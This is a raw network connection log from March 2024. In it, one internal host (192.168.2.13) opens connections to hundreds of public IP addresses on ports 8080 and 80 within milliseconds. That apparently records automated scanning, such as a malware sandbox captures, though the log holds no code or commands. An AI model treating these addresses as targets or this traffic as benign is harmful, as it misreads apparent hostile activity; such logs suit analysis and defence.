Mar 4, 2024 15:05:30.149502993 CET	47577	8080	192.168.2.13	85.112.109.53
Mar 4, 2024 15:05:30.149509907 CET	47577	8080	192.168.2.13	62.249.236.66
Mar 4, 2024 15:05:30.149518967 CET	47577	8080	192.168.2.13	95.137.182.104
Mar 4, 2024 15:05:30.149523020 CET	47577	8080	192.168.2.13	62.213.223.89
Mar 4, 2024 15:05:30.149543047 CET	47577	8080	192.168.2.13	85.60.81.40
Mar 4, 2024 15:05:30.149554014 CET	47577	8080	192.168.2.13	85.123.244.99
Mar 4, 2024 15:05:30.149554014 CET	47577	8080	192.168.2.13	31.215.242.162
Mar 4, 2024 15:05:30.149560928 CET	47577	8080	192.168.2.13	62.253.117.110
Mar 4, 2024 15:05:30.149561882 CET	47577	8080	192.168.2.13	85.221.167.94
Mar 4, 2024 15:05:30.149564028 CET	47577	8080	192.168.2.13	31.29.211.117
Mar 4, 2024 15:05:30.149580002 CET	47577	8080	192.168.2.13	62.156.229.75
Mar 4, 2024 15:05:30.149583101 CET	47577	8080	192.168.2.13	62.32.17.200
Mar 4, 2024 15:05:30.149585962 CET	47577	8080	192.168.2.13	31.117.29.73
Mar 4, 2024 15:05:30.149599075 CET	47577	8080	192.168.2.13	95.107.206.221
Mar 4, 2024 15:05:30.149599075 CET	47577	8080	192.168.2.13	95.35.220.204
Mar 4, 2024 15:05:30.149617910 CET	47577	8080	192.168.2.13	95.199.119.58
Mar 4, 2024 15:05:30.149620056 CET	47577	8080	192.168.2.13	85.240.34.11
Mar 4, 2024 15:05:30.149620056 CET	47577	8080	192.168.2.13	31.230.38.104
Mar 4, 2024 15:05:30.149631977 CET	47577	8080	192.168.2.13	85.151.138.174
Mar 4, 2024 15:05:30.149636030 CET	47577	8080	192.168.2.13	95.53.30.86
Mar 4, 2024 15:05:30.149640083 CET	47577	8080	192.168.2.13	95.120.52.121
Mar 4, 2024 15:05:30.149651051 CET	47577	8080	192.168.2.13	62.86.38.104
Mar 4, 2024 15:05:30.149660110 CET	47577	8080	192.168.2.13	95.29.248.89
Mar 4, 2024 15:05:30.149660110 CET	47577	8080	192.168.2.13	95.152.86.36
Mar 4, 2024 15:05:30.149660110 CET	47577	8080	192.168.2.13	95.187.253.56
Mar 4, 2024 15:05:30.149671078 CET	47577	8080	192.168.2.13	95.155.89.85
Mar 4, 2024 15:05:30.149674892 CET	47577	8080	192.168.2.13	95.129.185.205
Mar 4, 2024 15:05:30.149677038 CET	47577	8080	192.168.2.13	95.177.46.99
Mar 4, 2024 15:05:30.149693966 CET	47577	8080	192.168.2.13	95.178.34.43
Mar 4, 2024 15:05:30.149708986 CET	47577	8080	192.168.2.13	94.98.77.112
Mar 4, 2024 15:05:30.149713039 CET	47577	8080	192.168.2.13	31.222.238.111
Mar 4, 2024 15:05:30.149718046 CET	47577	8080	192.168.2.13	85.232.147.222
Mar 4, 2024 15:05:30.149722099 CET	47577	8080	192.168.2.13	62.9.252.50
Mar 4, 2024 15:05:30.149723053 CET	47577	8080	192.168.2.13	95.111.193.35
Mar 4, 2024 15:05:30.149734020 CET	47577	8080	192.168.2.13	85.171.177.15
Mar 4, 2024 15:05:30.149739981 CET	47577	8080	192.168.2.13	62.190.247.208
Mar 4, 2024 15:05:30.149749994 CET	47577	8080	192.168.2.13	94.57.148.222
Mar 4, 2024 15:05:30.149754047 CET	47577	8080	192.168.2.13	31.86.211.5
Mar 4, 2024 15:05:30.149760962 CET	47577	8080	192.168.2.13	95.151.10.97
Mar 4, 2024 15:05:30.149769068 CET	47577	8080	192.168.2.13	85.148.4.15
Mar 4, 2024 15:05:30.149770021 CET	47577	8080	192.168.2.13	95.150.108.32
Mar 4, 2024 15:05:30.149779081 CET	47577	8080	192.168.2.13	31.116.141.90
Mar 4, 2024 15:05:30.149779081 CET	47577	8080	192.168.2.13	95.225.78.223
Mar 4, 2024 15:05:30.149780035 CET	47577	8080	192.168.2.13	94.159.243.27
Mar 4, 2024 15:05:30.149780035 CET	47577	8080	192.168.2.13	95.71.66.110
Mar 4, 2024 15:05:30.149780989 CET	47577	8080	192.168.2.13	95.81.79.56
Mar 4, 2024 15:05:30.149780989 CET	47577	8080	192.168.2.13	31.77.91.143
Mar 4, 2024 15:05:30.149799109 CET	47577	8080	192.168.2.13	62.17.135.65
Mar 4, 2024 15:05:30.149806023 CET	47577	8080	192.168.2.13	94.242.61.166
Mar 4, 2024 15:05:30.149825096 CET	47577	8080	192.168.2.13	31.194.103.208
Mar 4, 2024 15:05:30.149825096 CET	47577	8080	192.168.2.13	62.198.25.144
Mar 4, 2024 15:05:30.149832010 CET	47577	8080	192.168.2.13	94.72.198.147
Mar 4, 2024 15:05:30.149836063 CET	47577	8080	192.168.2.13	95.36.230.28
Mar 4, 2024 15:05:30.149848938 CET	47577	8080	192.168.2.13	31.79.249.146
Mar 4, 2024 15:05:30.149848938 CET	47577	8080	192.168.2.13	85.43.255.123
Mar 4, 2024 15:05:30.149864912 CET	47577	8080	192.168.2.13	94.7.60.101
Mar 4, 2024 15:05:30.149868011 CET	47577	8080	192.168.2.13	85.111.168.238
Mar 4, 2024 15:05:30.149869919 CET	47577	8080	192.168.2.13	62.147.134.252
Mar 4, 2024 15:05:30.149878025 CET	47577	8080	192.168.2.13	94.71.43.226
Mar 4, 2024 15:05:30.149880886 CET	47577	8080	192.168.2.13	62.133.203.179
Mar 4, 2024 15:05:30.149903059 CET	47577	8080	192.168.2.13	85.103.42.160
Mar 4, 2024 15:05:30.149909019 CET	47577	8080	192.168.2.13	31.69.44.91
Mar 4, 2024 15:05:30.149909973 CET	47577	8080	192.168.2.13	95.201.221.70
Mar 4, 2024 15:05:30.149909973 CET	47577	8080	192.168.2.13	62.183.3.207
Mar 4, 2024 15:05:30.149919033 CET	47577	8080	192.168.2.13	94.56.102.33
Mar 4, 2024 15:05:30.149921894 CET	47577	8080	192.168.2.13	95.254.142.135
Mar 4, 2024 15:05:30.149925947 CET	47577	8080	192.168.2.13	31.109.24.7
Mar 4, 2024 15:05:30.149946928 CET	47577	8080	192.168.2.13	85.13.36.160
Mar 4, 2024 15:05:30.149954081 CET	47577	8080	192.168.2.13	31.120.187.199
Mar 4, 2024 15:05:30.149955034 CET	47577	8080	192.168.2.13	85.166.119.68
Mar 4, 2024 15:05:30.149954081 CET	47577	8080	192.168.2.13	95.179.173.14
Mar 4, 2024 15:05:30.149965048 CET	47577	8080	192.168.2.13	85.197.82.7
Mar 4, 2024 15:05:30.149979115 CET	47577	8080	192.168.2.13	31.153.152.16
Mar 4, 2024 15:05:30.149997950 CET	47577	8080	192.168.2.13	95.183.93.7
Mar 4, 2024 15:05:30.149997950 CET	47577	8080	192.168.2.13	95.26.135.223
Mar 4, 2024 15:05:30.149997950 CET	47577	8080	192.168.2.13	94.141.12.255
Mar 4, 2024 15:05:30.150001049 CET	47577	8080	192.168.2.13	31.137.91.132
Mar 4, 2024 15:05:30.150012970 CET	47577	8080	192.168.2.13	62.96.42.49
Mar 4, 2024 15:05:30.150012970 CET	47577	8080	192.168.2.13	95.74.111.173
Mar 4, 2024 15:05:30.150033951 CET	47577	8080	192.168.2.13	62.219.184.192
Mar 4, 2024 15:05:30.150033951 CET	47577	8080	192.168.2.13	85.135.62.68
Mar 4, 2024 15:05:30.150038958 CET	47577	8080	192.168.2.13	94.206.63.98
Mar 4, 2024 15:05:30.150057077 CET	47577	8080	192.168.2.13	31.98.6.91
Mar 4, 2024 15:05:30.150058985 CET	47577	8080	192.168.2.13	85.118.209.120
Mar 4, 2024 15:05:30.150067091 CET	47577	8080	192.168.2.13	31.252.170.67
Mar 4, 2024 15:05:30.150067091 CET	47577	8080	192.168.2.13	85.71.140.197
Mar 4, 2024 15:05:30.150067091 CET	47577	8080	192.168.2.13	94.176.191.67
Mar 4, 2024 15:05:30.150068998 CET	47577	8080	192.168.2.13	85.204.80.11
Mar 4, 2024 15:05:30.150084019 CET	47577	8080	192.168.2.13	85.78.213.178
Mar 4, 2024 15:05:30.150084019 CET	47577	8080	192.168.2.13	85.130.185.162
Mar 4, 2024 15:05:30.150096893 CET	47577	8080	192.168.2.13	85.181.167.136
Mar 4, 2024 15:05:30.150096893 CET	47577	8080	192.168.2.13	94.124.132.143
Mar 4, 2024 15:05:30.150115967 CET	47577	8080	192.168.2.13	85.70.238.196
Mar 4, 2024 15:05:30.150130033 CET	47577	8080	192.168.2.13	95.134.169.57
Mar 4, 2024 15:05:30.150130987 CET	47577	8080	192.168.2.13	94.235.151.124
Mar 4, 2024 15:05:30.150130987 CET	47577	8080	192.168.2.13	31.243.101.143
Mar 4, 2024 15:05:30.150130987 CET	47577	8080	192.168.2.13	94.217.55.120
Mar 4, 2024 15:05:30.150140047 CET	47577	8080	192.168.2.13	95.190.200.78
Mar 4, 2024 15:05:30.150144100 CET	47577	8080	192.168.2.13	62.98.250.255
Mar 4, 2024 15:05:30.150160074 CET	47577	8080	192.168.2.13	85.131.118.129
Mar 4, 2024 15:05:30.150168896 CET	47577	8080	192.168.2.13	85.131.79.149
Mar 4, 2024 15:05:30.150171995 CET	47577	8080	192.168.2.13	95.38.53.119
Mar 4, 2024 15:05:30.150173903 CET	47577	8080	192.168.2.13	31.40.101.67
Mar 4, 2024 15:05:30.150177002 CET	47577	8080	192.168.2.13	31.244.205.247
Mar 4, 2024 15:05:30.150182962 CET	47577	8080	192.168.2.13	94.101.184.3
Mar 4, 2024 15:05:30.150187016 CET	47577	8080	192.168.2.13	95.16.109.26
Mar 4, 2024 15:05:30.150202990 CET	47577	8080	192.168.2.13	85.81.49.24
Mar 4, 2024 15:05:30.150212049 CET	47577	8080	192.168.2.13	85.90.53.56
Mar 4, 2024 15:05:30.150222063 CET	47577	8080	192.168.2.13	31.57.101.199
Mar 4, 2024 15:05:30.150223970 CET	47577	8080	192.168.2.13	62.201.231.133
Mar 4, 2024 15:05:30.150224924 CET	47577	8080	192.168.2.13	94.119.127.254
Mar 4, 2024 15:05:30.150224924 CET	47577	8080	192.168.2.13	94.223.53.106
Mar 4, 2024 15:05:30.150224924 CET	47577	8080	192.168.2.13	85.5.138.7
Mar 4, 2024 15:05:30.150238037 CET	47577	8080	192.168.2.13	62.250.159.221
Mar 4, 2024 15:05:30.150247097 CET	47577	8080	192.168.2.13	62.39.181.38
Mar 4, 2024 15:05:30.150249004 CET	47577	8080	192.168.2.13	31.193.41.49
Mar 4, 2024 15:05:30.150249958 CET	47577	8080	192.168.2.13	31.214.36.205
Mar 4, 2024 15:05:30.150260925 CET	47577	8080	192.168.2.13	94.150.173.161
Mar 4, 2024 15:05:30.150259972 CET	47577	8080	192.168.2.13	31.234.15.53
Mar 4, 2024 15:05:30.150259972 CET	47577	8080	192.168.2.13	95.188.168.177
Mar 4, 2024 15:05:30.150275946 CET	47577	8080	192.168.2.13	62.175.14.150
Mar 4, 2024 15:05:30.150284052 CET	47577	8080	192.168.2.13	85.178.246.14
Mar 4, 2024 15:05:30.150305033 CET	47577	8080	192.168.2.13	62.35.247.248
Mar 4, 2024 15:05:30.150305033 CET	47577	8080	192.168.2.13	94.229.48.8
Mar 4, 2024 15:05:30.150309086 CET	47577	8080	192.168.2.13	94.141.72.90
Mar 4, 2024 15:05:30.150314093 CET	47577	8080	192.168.2.13	31.51.117.10
Mar 4, 2024 15:05:30.150315046 CET	47577	8080	192.168.2.13	62.77.121.121
Mar 4, 2024 15:05:30.150315046 CET	47577	8080	192.168.2.13	31.130.11.54
Mar 4, 2024 15:05:30.150331974 CET	47577	8080	192.168.2.13	94.92.22.0
Mar 4, 2024 15:05:30.150338888 CET	47577	8080	192.168.2.13	85.119.230.232
Mar 4, 2024 15:05:30.150346994 CET	47577	8080	192.168.2.13	62.201.236.12
Mar 4, 2024 15:05:30.150348902 CET	47577	8080	192.168.2.13	85.167.175.33
Mar 4, 2024 15:05:30.150372028 CET	47577	8080	192.168.2.13	31.99.14.113
Mar 4, 2024 15:05:30.150372028 CET	47577	8080	192.168.2.13	95.31.190.241
Mar 4, 2024 15:05:30.150378942 CET	47577	8080	192.168.2.13	85.106.156.195
Mar 4, 2024 15:05:30.150388002 CET	47577	8080	192.168.2.13	95.5.135.82
Mar 4, 2024 15:05:30.150392056 CET	47577	8080	192.168.2.13	94.141.42.248
Mar 4, 2024 15:05:30.150408983 CET	47577	8080	192.168.2.13	94.86.228.247
Mar 4, 2024 15:05:30.150412083 CET	47577	8080	192.168.2.13	31.7.133.34
Mar 4, 2024 15:05:30.150412083 CET	47577	8080	192.168.2.13	62.141.162.46
Mar 4, 2024 15:05:30.150420904 CET	47577	8080	192.168.2.13	62.76.242.158
Mar 4, 2024 15:05:30.150453091 CET	47577	8080	192.168.2.13	85.94.79.157
Mar 4, 2024 15:05:30.150453091 CET	47577	8080	192.168.2.13	31.171.234.134
Mar 4, 2024 15:05:30.150455952 CET	47577	8080	192.168.2.13	95.198.102.124
Mar 4, 2024 15:05:30.150456905 CET	47577	8080	192.168.2.13	85.95.245.69
Mar 4, 2024 15:05:30.150474072 CET	47577	8080	192.168.2.13	62.25.11.30
Mar 4, 2024 15:05:30.150477886 CET	47577	8080	192.168.2.13	94.244.106.215
Mar 4, 2024 15:05:30.150481939 CET	47577	8080	192.168.2.13	31.41.116.23
Mar 4, 2024 15:05:30.150487900 CET	47577	8080	192.168.2.13	62.7.31.57
Mar 4, 2024 15:05:30.150487900 CET	47577	8080	192.168.2.13	62.14.237.91
Mar 4, 2024 15:05:30.150501966 CET	47577	8080	192.168.2.13	94.41.178.241
Mar 4, 2024 15:05:30.150506020 CET	47577	8080	192.168.2.13	94.30.2.211
Mar 4, 2024 15:05:30.150512934 CET	47577	8080	192.168.2.13	62.124.231.122
Mar 4, 2024 15:05:30.150521994 CET	47577	8080	192.168.2.13	95.39.124.67
Mar 4, 2024 15:05:30.150543928 CET	47577	8080	192.168.2.13	62.207.69.55
Mar 4, 2024 15:05:30.150547981 CET	47577	8080	192.168.2.13	31.28.68.50
Mar 4, 2024 15:05:30.150551081 CET	47577	8080	192.168.2.13	31.28.18.46
Mar 4, 2024 15:05:30.150551081 CET	47577	8080	192.168.2.13	31.118.141.126
Mar 4, 2024 15:05:30.150568008 CET	47577	8080	192.168.2.13	85.103.114.126
Mar 4, 2024 15:05:30.150576115 CET	47577	8080	192.168.2.13	94.62.114.61
Mar 4, 2024 15:05:30.150578022 CET	47577	8080	192.168.2.13	62.171.37.116
Mar 4, 2024 15:05:30.150578022 CET	47577	8080	192.168.2.13	31.84.59.86
Mar 4, 2024 15:05:30.150580883 CET	47577	8080	192.168.2.13	85.113.98.246
Mar 4, 2024 15:05:30.150593996 CET	47577	8080	192.168.2.13	94.24.64.28
Mar 4, 2024 15:05:30.150593996 CET	47577	8080	192.168.2.13	31.165.173.197
Mar 4, 2024 15:05:30.150593996 CET	47577	8080	192.168.2.13	94.15.143.33
Mar 4, 2024 15:05:30.150599003 CET	47577	8080	192.168.2.13	85.158.10.180
Mar 4, 2024 15:05:30.150614023 CET	47577	8080	192.168.2.13	85.96.145.106
Mar 4, 2024 15:05:30.150614023 CET	47577	8080	192.168.2.13	85.226.50.183
Mar 4, 2024 15:05:30.150624037 CET	47577	8080	192.168.2.13	94.140.26.186
Mar 4, 2024 15:05:30.150629044 CET	47577	8080	192.168.2.13	62.250.182.65
Mar 4, 2024 15:05:30.150633097 CET	47577	8080	192.168.2.13	94.121.223.21
Mar 4, 2024 15:05:30.150646925 CET	47577	8080	192.168.2.13	95.14.123.207
Mar 4, 2024 15:05:30.150654078 CET	47577	8080	192.168.2.13	31.81.75.95
Mar 4, 2024 15:05:30.150656939 CET	47577	8080	192.168.2.13	95.235.98.111
Mar 4, 2024 15:05:30.150660992 CET	47577	8080	192.168.2.13	95.79.147.11
Mar 4, 2024 15:05:30.150667906 CET	47577	8080	192.168.2.13	62.159.110.167
Mar 4, 2024 15:05:30.150684118 CET	47577	8080	192.168.2.13	94.61.181.134
Mar 4, 2024 15:05:30.150686026 CET	47577	8080	192.168.2.13	85.234.22.167
Mar 4, 2024 15:05:30.150696993 CET	47577	8080	192.168.2.13	62.154.93.199
Mar 4, 2024 15:05:30.150710106 CET	47577	8080	192.168.2.13	94.226.222.24
Mar 4, 2024 15:05:30.150712967 CET	47577	8080	192.168.2.13	85.201.66.243
Mar 4, 2024 15:05:30.150726080 CET	47577	8080	192.168.2.13	31.182.67.205
Mar 4, 2024 15:05:30.150731087 CET	47577	8080	192.168.2.13	94.188.225.217
Mar 4, 2024 15:05:30.150736094 CET	47577	8080	192.168.2.13	31.79.27.38
Mar 4, 2024 15:05:30.150736094 CET	47577	8080	192.168.2.13	62.111.252.142
Mar 4, 2024 15:05:30.150747061 CET	47577	8080	192.168.2.13	85.64.35.72
Mar 4, 2024 15:05:30.150752068 CET	47577	8080	192.168.2.13	31.9.175.141
Mar 4, 2024 15:05:30.150753975 CET	47577	8080	192.168.2.13	95.68.243.105
Mar 4, 2024 15:05:30.150757074 CET	47577	8080	192.168.2.13	94.63.43.53
Mar 4, 2024 15:05:30.150769949 CET	47577	8080	192.168.2.13	95.146.226.183
Mar 4, 2024 15:05:30.150772095 CET	47577	8080	192.168.2.13	95.161.186.105
Mar 4, 2024 15:05:30.150783062 CET	47577	8080	192.168.2.13	31.191.121.154
Mar 4, 2024 15:05:30.150798082 CET	47577	8080	192.168.2.13	85.204.131.71
Mar 4, 2024 15:05:30.150799990 CET	47577	8080	192.168.2.13	95.164.34.198
Mar 4, 2024 15:05:30.150799990 CET	47577	8080	192.168.2.13	95.101.172.143
Mar 4, 2024 15:05:30.150800943 CET	47577	8080	192.168.2.13	95.223.181.231
Mar 4, 2024 15:05:30.150810957 CET	47577	8080	192.168.2.13	31.103.59.19
Mar 4, 2024 15:05:30.150815964 CET	47577	8080	192.168.2.13	31.144.162.220
Mar 4, 2024 15:05:30.150819063 CET	47577	8080	192.168.2.13	95.72.9.134
Mar 4, 2024 15:05:30.150831938 CET	47577	8080	192.168.2.13	62.120.253.57
Mar 4, 2024 15:05:30.150844097 CET	47577	8080	192.168.2.13	85.34.231.255
Mar 4, 2024 15:05:30.150845051 CET	47577	8080	192.168.2.13	94.187.181.65
Mar 4, 2024 15:05:30.150851965 CET	47577	8080	192.168.2.13	85.174.82.189
Mar 4, 2024 15:05:30.150856972 CET	47577	8080	192.168.2.13	95.134.206.153
Mar 4, 2024 15:05:30.150859118 CET	47577	8080	192.168.2.13	85.25.113.62
Mar 4, 2024 15:05:30.150872946 CET	47577	8080	192.168.2.13	95.84.102.230
Mar 4, 2024 15:05:30.150877953 CET	47577	8080	192.168.2.13	94.69.69.29
Mar 4, 2024 15:05:30.150893927 CET	47577	8080	192.168.2.13	95.19.27.156
Mar 4, 2024 15:05:30.150897026 CET	47577	8080	192.168.2.13	95.140.186.31
Mar 4, 2024 15:05:30.150898933 CET	47577	8080	192.168.2.13	85.251.130.181
Mar 4, 2024 15:05:30.150913000 CET	47577	8080	192.168.2.13	62.141.219.19
Mar 4, 2024 15:05:30.150916100 CET	47577	8080	192.168.2.13	95.5.246.237
Mar 4, 2024 15:05:30.150924921 CET	47577	8080	192.168.2.13	95.160.10.128
Mar 4, 2024 15:05:30.150938988 CET	47577	8080	192.168.2.13	85.88.209.249
Mar 4, 2024 15:05:30.150944948 CET	47577	8080	192.168.2.13	94.205.67.143
Mar 4, 2024 15:05:30.150944948 CET	47577	8080	192.168.2.13	31.16.14.2
Mar 4, 2024 15:05:30.150954962 CET	47577	8080	192.168.2.13	85.245.107.107
Mar 4, 2024 15:05:30.150954962 CET	47577	8080	192.168.2.13	31.0.120.140
Mar 4, 2024 15:05:30.150954962 CET	47577	8080	192.168.2.13	85.98.27.118
Mar 4, 2024 15:05:30.150968075 CET	47577	8080	192.168.2.13	95.101.228.67
Mar 4, 2024 15:05:30.150985956 CET	47577	8080	192.168.2.13	31.212.36.193
Mar 4, 2024 15:05:30.150985956 CET	47577	8080	192.168.2.13	85.230.117.11
Mar 4, 2024 15:05:30.150990009 CET	47577	8080	192.168.2.13	95.95.206.62
Mar 4, 2024 15:05:30.151010990 CET	47577	8080	192.168.2.13	31.164.7.12
Mar 4, 2024 15:05:30.151011944 CET	47577	8080	192.168.2.13	62.216.198.228
Mar 4, 2024 15:05:30.151021004 CET	47577	8080	192.168.2.13	31.187.93.50
Mar 4, 2024 15:05:30.151027918 CET	47577	8080	192.168.2.13	94.218.230.172
Mar 4, 2024 15:05:30.151027918 CET	47577	8080	192.168.2.13	31.242.110.167
Mar 4, 2024 15:05:30.151031971 CET	47577	8080	192.168.2.13	31.227.57.85
Mar 4, 2024 15:05:30.151041985 CET	47577	8080	192.168.2.13	31.141.150.247
Mar 4, 2024 15:05:30.151057959 CET	47577	8080	192.168.2.13	62.96.219.119
Mar 4, 2024 15:05:30.151057959 CET	47577	8080	192.168.2.13	94.109.227.192
Mar 4, 2024 15:05:30.151058912 CET	47577	8080	192.168.2.13	62.195.5.210
Mar 4, 2024 15:05:30.151065111 CET	47577	8080	192.168.2.13	31.199.113.20
Mar 4, 2024 15:05:30.151078939 CET	47577	8080	192.168.2.13	62.226.153.205
Mar 4, 2024 15:05:30.151078939 CET	47577	8080	192.168.2.13	31.92.101.9
Mar 4, 2024 15:05:30.151098967 CET	47577	8080	192.168.2.13	62.95.81.10
Mar 4, 2024 15:05:30.151102066 CET	47577	8080	192.168.2.13	85.213.233.165
Mar 4, 2024 15:05:30.151165009 CET	47577	8080	192.168.2.13	62.4.5.199
Mar 4, 2024 15:05:30.151166916 CET	47577	8080	192.168.2.13	62.83.128.172
Mar 4, 2024 15:05:30.151184082 CET	47577	8080	192.168.2.13	94.46.96.61
Mar 4, 2024 15:05:30.151184082 CET	47577	8080	192.168.2.13	94.39.86.183
Mar 4, 2024 15:05:30.151187897 CET	47577	8080	192.168.2.13	31.236.115.198
Mar 4, 2024 15:05:30.151194096 CET	47577	8080	192.168.2.13	85.143.56.18
Mar 4, 2024 15:05:30.151204109 CET	47577	8080	192.168.2.13	94.181.17.164
Mar 4, 2024 15:05:30.151211023 CET	47577	8080	192.168.2.13	62.73.95.191
Mar 4, 2024 15:05:30.151216030 CET	47577	8080	192.168.2.13	62.176.254.167
Mar 4, 2024 15:05:30.151216984 CET	47577	8080	192.168.2.13	62.52.207.120
Mar 4, 2024 15:05:30.151217937 CET	47577	8080	192.168.2.13	95.72.237.242
Mar 4, 2024 15:05:30.151217937 CET	47577	8080	192.168.2.13	31.161.116.31
Mar 4, 2024 15:05:30.151217937 CET	47577	8080	192.168.2.13	62.165.0.209
Mar 4, 2024 15:05:30.151237965 CET	48089	80	192.168.2.13	88.211.233.139
Mar 4, 2024 15:05:30.151237965 CET	47577	8080	192.168.2.13	85.34.83.235
Mar 4, 2024 15:05:30.151249886 CET	47577	8080	192.168.2.13	95.178.59.46
Mar 4, 2024 15:05:30.151251078 CET	48089	80	192.168.2.13	88.255.70.85
Mar 4, 2024 15:05:30.151249886 CET	47577	8080	192.168.2.13	94.3.58.202
Mar 4, 2024 15:05:30.151253939 CET	47577	8080	192.168.2.13	62.135.70.41
Mar 4, 2024 15:05:30.151254892 CET	47577	8080	192.168.2.13	85.72.145.32
Mar 4, 2024 15:05:30.151264906 CET	47577	8080	192.168.2.13	95.197.95.179
Mar 4, 2024 15:05:30.151266098 CET	48089	80	192.168.2.13	88.123.70.101
Mar 4, 2024 15:05:30.151272058 CET	48089	80	192.168.2.13	88.97.121.132
Mar 4, 2024 15:05:30.151287079 CET	47577	8080	192.168.2.13	94.123.45.42
Mar 4, 2024 15:05:30.151290894 CET	48089	80	192.168.2.13	88.160.107.207
Mar 4, 2024 15:05:30.151295900 CET	47577	8080	192.168.2.13	31.21.51.158
Mar 4, 2024 15:05:30.151308060 CET	47577	8080	192.168.2.13	62.160.101.142
Mar 4, 2024 15:05:30.151308060 CET	48089	80	192.168.2.13	88.35.75.240
Mar 4, 2024 15:05:30.151308060 CET	48089	80	192.168.2.13	88.107.53.88
Mar 4, 2024 15:05:30.151316881 CET	48089	80	192.168.2.13	88.183.39.99
Mar 4, 2024 15:05:30.151324034 CET	47577	8080	192.168.2.13	31.226.107.121
Mar 4, 2024 15:05:30.151344061 CET	48089	80	192.168.2.13	88.143.190.167
Mar 4, 2024 15:05:30.151346922 CET	47577	8080	192.168.2.13	31.71.72.205
Mar 4, 2024 15:05:30.151345968 CET	47577	8080	192.168.2.13	85.225.229.16
Mar 4, 2024 15:05:30.151345968 CET	48089	80	192.168.2.13	88.45.228.26
Mar 4, 2024 15:05:30.151350021 CET	47577	8080	192.168.2.13	94.83.39.241
Mar 4, 2024 15:05:30.151360035 CET	47577	8080	192.168.2.13	62.88.110.62
Mar 4, 2024 15:05:30.151361942 CET	47577	8080	192.168.2.13	85.129.77.42
Mar 4, 2024 15:05:30.151374102 CET	47577	8080	192.168.2.13	31.82.75.232
Mar 4, 2024 15:05:30.151381016 CET	48089	80	192.168.2.13	88.35.7.127
Mar 4, 2024 15:05:30.151387930 CET	48089	80	192.168.2.13	88.189.206.87
Mar 4, 2024 15:05:30.151388884 CET	47577	8080	192.168.2.13	31.206.40.192
Mar 4, 2024 15:05:30.151387930 CET	48089	80	192.168.2.13	88.249.199.232
Mar 4, 2024 15:05:30.151387930 CET	47577	8080	192.168.2.13	62.100.155.204
Mar 4, 2024 15:05:30.151387930 CET	47577	8080	192.168.2.13	95.229.0.131
Mar 4, 2024 15:05:30.151395082 CET	48089	80	192.168.2.13	88.20.197.252
Mar 4, 2024 15:05:30.151401043 CET	47577	8080	192.168.2.13	85.231.146.51
Mar 4, 2024 15:05:30.151407957 CET	47577	8080	192.168.2.13	85.80.177.159
Mar 4, 2024 15:05:30.151408911 CET	47577	8080	192.168.2.13	85.160.205.124
Mar 4, 2024 15:05:30.151408911 CET	47577	8080	192.168.2.13	62.166.36.174
Mar 4, 2024 15:05:30.151408911 CET	48089	80	192.168.2.13	88.5.30.110
Mar 4, 2024 15:05:30.151408911 CET	47577	8080	192.168.2.13	94.69.251.86
Mar 4, 2024 15:05:30.151418924 CET	47577	8080	192.168.2.13	62.177.241.12
Mar 4, 2024 15:05:30.151431084 CET	48089	80	192.168.2.13	88.225.1.208
Mar 4, 2024 15:05:30.151433945 CET	48089	80	192.168.2.13	88.157.134.72
Mar 4, 2024 15:05:30.151443958 CET	47577	8080	192.168.2.13	94.211.190.95
Mar 4, 2024 15:05:30.151451111 CET	47577	8080	192.168.2.13	95.159.109.58
Mar 4, 2024 15:05:30.151452065 CET	47577	8080	192.168.2.13	95.19.127.27
Mar 4, 2024 15:05:30.151452065 CET	48089	80	192.168.2.13	88.21.161.2
Mar 4, 2024 15:05:30.151458979 CET	47577	8080	192.168.2.13	85.145.235.226
Mar 4, 2024 15:05:30.151463032 CET	48089	80	192.168.2.13	88.44.9.2
Mar 4, 2024 15:05:30.151464939 CET	48089	80	192.168.2.13	88.13.3.39
Mar 4, 2024 15:05:30.151467085 CET	47577	8080	192.168.2.13	31.173.170.107
Mar 4, 2024 15:05:30.151467085 CET	48089	80	192.168.2.13	88.15.203.99
Mar 4, 2024 15:05:30.151467085 CET	47577	8080	192.168.2.13	94.11.3.194
Mar 4, 2024 15:05:30.151484013 CET	47577	8080	192.168.2.13	85.13.127.188
Mar 4, 2024 15:05:30.151485920 CET	48089	80	192.168.2.13	88.252.95.216
Mar 4, 2024 15:05:30.151498079 CET	47577	8080	192.168.2.13	62.97.131.101
Mar 4, 2024 15:05:30.151498079 CET	47577	8080	192.168.2.13	94.180.124.128
Mar 4, 2024 15:05:30.151504993 CET	48089	80	192.168.2.13	88.194.5.130
Mar 4, 2024 15:05:30.151504993 CET	47577	8080	192.168.2.13	62.46.228.43
Mar 4, 2024 15:05:30.151510000 CET	48089	80	192.168.2.13	88.244.0.32
Mar 4, 2024 15:05:30.151510954 CET	48089	80	192.168.2.13	88.42.106.50
Mar 4, 2024 15:05:30.151510954 CET	48089	80	192.168.2.13	88.170.100.12
Mar 4, 2024 15:05:30.151510954 CET	48089	80	192.168.2.13	88.149.47.23
Mar 4, 2024 15:05:30.151518106 CET	48089	80	192.168.2.13	88.21.26.121
Mar 4, 2024 15:05:30.151530027 CET	47577	8080	192.168.2.13	94.106.235.117
Mar 4, 2024 15:05:30.151530027 CET	47577	8080	192.168.2.13	94.43.108.124
Mar 4, 2024 15:05:30.151530027 CET	48089	80	192.168.2.13	88.240.0.93
Mar 4, 2024 15:05:30.151532888 CET	47577	8080	192.168.2.13	85.14.63.197
Mar 4, 2024 15:05:30.151534081 CET	48089	80	192.168.2.13	88.0.188.176
Mar 4, 2024 15:05:30.151546001 CET	48089	80	192.168.2.13	88.129.40.195
Mar 4, 2024 15:05:30.151567936 CET	47577	8080	192.168.2.13	85.173.112.232
Mar 4, 2024 15:05:30.151567936 CET	47577	8080	192.168.2.13	85.112.38.222
Mar 4, 2024 15:05:30.151571035 CET	47577	8080	192.168.2.13	95.228.35.47
Mar 4, 2024 15:05:30.151571035 CET	47577	8080	192.168.2.13	95.69.128.158
Mar 4, 2024 15:05:30.151571035 CET	47577	8080	192.168.2.13	95.223.153.81
Mar 4, 2024 15:05:30.151571035 CET	48089	80	192.168.2.13	88.203.43.48
Mar 4, 2024 15:05:30.151571989 CET	47577	8080	192.168.2.13	31.160.171.201
Mar 4, 2024 15:05:30.151578903 CET	47577	8080	192.168.2.13	94.113.102.32
Mar 4, 2024 15:05:30.151590109 CET	48089	80	192.168.2.13	88.152.160.22
Mar 4, 2024 15:05:30.151592016 CET	47577	8080	192.168.2.13	31.231.232.26
Mar 4, 2024 15:05:30.151599884 CET	47577	8080	192.168.2.13	31.189.228.5
Mar 4, 2024 15:05:30.151609898 CET	48089	80	192.168.2.13	88.222.178.43
Mar 4, 2024 15:05:30.151611090 CET	48089	80	192.168.2.13	88.6.230.162
